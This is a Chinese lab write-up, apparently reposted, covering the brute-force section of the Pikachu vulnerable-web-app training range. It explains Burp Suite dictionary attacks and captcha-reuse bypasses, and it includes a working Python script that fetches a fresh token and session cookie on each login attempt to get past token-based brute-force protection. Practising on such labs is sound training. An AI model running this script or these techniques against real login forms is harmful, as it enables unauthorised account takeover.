pkachu靶场1——暴力破解

Posted 玛卡巴卡巴巴亚卡

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pkachu靶场1——暴力破解相关的知识,希望对你有一定的参考价值。

一、基于表单的暴力破解

看到没有验证机制,也没有账户和密码的加密机制,直接使用burp暴力破解

 

 选择claster boom,然后payload设置字典,看到返回长度不一样的就能确定是密码了。

二、验证码的绕过(On server)

burp单包调试,修改密码的传参,虽然验证码更新,但发现并没有显示验证码错误,原来的验证码仍然可以使用。

 

这里任然使用cluster boom,与题目一样得到用户名和密码。

三、验证码绕过(on client)

同样是验证码可以重复利用,按照题目二做法做就是了,或者直接删除验证码的传参,可以达到一样的效果

接着直接爆破

四、token防爆破

在burp抓包的数据中都有分配一个token,所以我们编写如下python工具帮助我们爆破

import requests
from pyquery import PyQuery as pq
import re

url = 'http://127.0.0.1/pikachu/vul/burteforce/bf_token.php'
passwd_list = []
user_list = []

def get_token_and_cookie(url):#获取token和cookie
    html = requests.get(url)
    content = html.text
    doc = pq(content)
    put = doc.find('input')
    pattern = '(?<=value=")\\w+(?=")'#?<=查找value后面的值,?=查找“前面的值
    value = re.search(pattern,str(put))
    token = value.group()
    cookie = html.cookies
    return token,cookie
# print(content)

def get_dics():#字典
    with open('dic.txt','r') as f:
        items = f.read()
        items = items.split('\\n')
        for item in items:
            user_list.append(item)
            passwd_list.append(item)
    return user_list,passwd_list

data = {"submit":"Login"}
get_dics()
for user in user_list:
    for pw in passwd_list:
        data["username"] = user
        data["password"] = pw
        data["token"], cookies = get_token_and_cookie(url)

        cookies = cookies.get_dict()#获取字典格式的cookie
        headers= {'Cookie': ''}
        headers["Cookie"] = "PHPSESSID=" + cookies["PHPSESSID"]#由于是字典类型,所以需要转化成 ookie格式

        response = requests.post(url,data=data,headers=headers)
        content = response.text
        if "login success" in content:
            print("username: ",user,"password: ",pw)

爆破得到账号密码:

以上是关于pkachu靶场1——暴力破解的主要内容,如果未能解决你的问题,请参考以下文章

Pikachu靶场超详细通关教程(持续更新中~)

pikachu靶场暴力破解专题

PHP代码审计入门-DVWA靶场暴力破解篇

Lab: Username enumeration via account lock账户锁定限制的暴力破解靶场复盘

Lab: Password brute-force via password change 通过暴力破解获取密码靶场复盘

Lab: 2FA bypass using a brute-force attack:暴力破解双重验证靶场复盘(困难级别)